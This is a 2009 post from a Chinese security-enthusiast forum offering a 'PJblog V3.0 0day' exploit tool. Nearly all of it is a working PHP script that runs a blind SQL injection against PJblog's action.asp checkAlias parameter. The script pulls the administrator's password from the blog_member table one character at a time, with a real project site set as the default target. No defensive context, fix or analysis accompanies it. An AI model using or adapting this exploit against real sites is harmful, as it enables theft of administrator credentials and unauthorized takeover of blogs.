Board logo

标题: PJblog V3.0 0day Vbs版漏洞利用工具 [打印本页]
作者: 柔肠寸断    时间: 2009-4-28 12:51     标题: PJblog V3.0 0day Vbs版漏洞利用工具

  1. <?php
  2. /*
  3. PJblog V3.0 0day exp
  4. */

  6. $url="http://www.pjhome.net";    //注入地址
  7. $var_name="puterjam";    //管理员
  8. $var_key="check_right";

  10. if ($_SESSION["LenI"]){
  11. $LenI=$_SESSION["LenI"];
  12. }else{
  13. $LenI=1;
  14. }
  15. for($i=$LenI;$i<=40;$i++){
  16. if($_SESSION["LenDo"]){
  17. $StaAsc=$_SESSION["LenDo"];
  18. }else{
  19. $StaAsc=31;
  20. }
  21. echo "Scan password len:".$i." ;asc form ".$StaAsc." to 127";
  22. for($j=$StaAsc;$j<=127;$j++){
  23. $newurl=$url.'/action.asp?action=checkAlias&cname=firebug_plugins_firediff"%20and%20%28select%20top%201%20asc%28mid%28mem_password%2c'.$i.'%2c1%29%29%20From%20blog_member%20where%20mem_name=\''.$var_name.'\'%29%3e'.$j.'%20and%20"1"="1';
  24. $var_pagelen=file_get_contents($newurl);
  25. $var_newpagelen=strpos($var_pagelen,$var_key);
  26. if($var_newpagelen == true){
  27. $_SESSION["tmpPassWord"]=$_SESSION["tmpPassWord"].chr($j);
  28. unset($_SESSION["LenDo"]);
  29. $_SESSION["LenI"]=$i+1;
  30. doReload();
  31. break;
  32. }
  33. if($j == $StaAsc+10){
  34. doReload();
  35. break;
  36. }
  37. }
  38. }
  39. if ($_SESSION["LenI"]==40 && !($_SESSION["LenDo"])){ echo $_SESSION["tmpPassWord"]; }

  41. function doReload(){
  42. ?>
  43. <script  language="javascript">
  44. <!--
  45. window.setTimeout('location.reload()',1000);
  46. //-->
  47. </script>
  48. <?php
  49. }
  50. ?>
复制代码




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2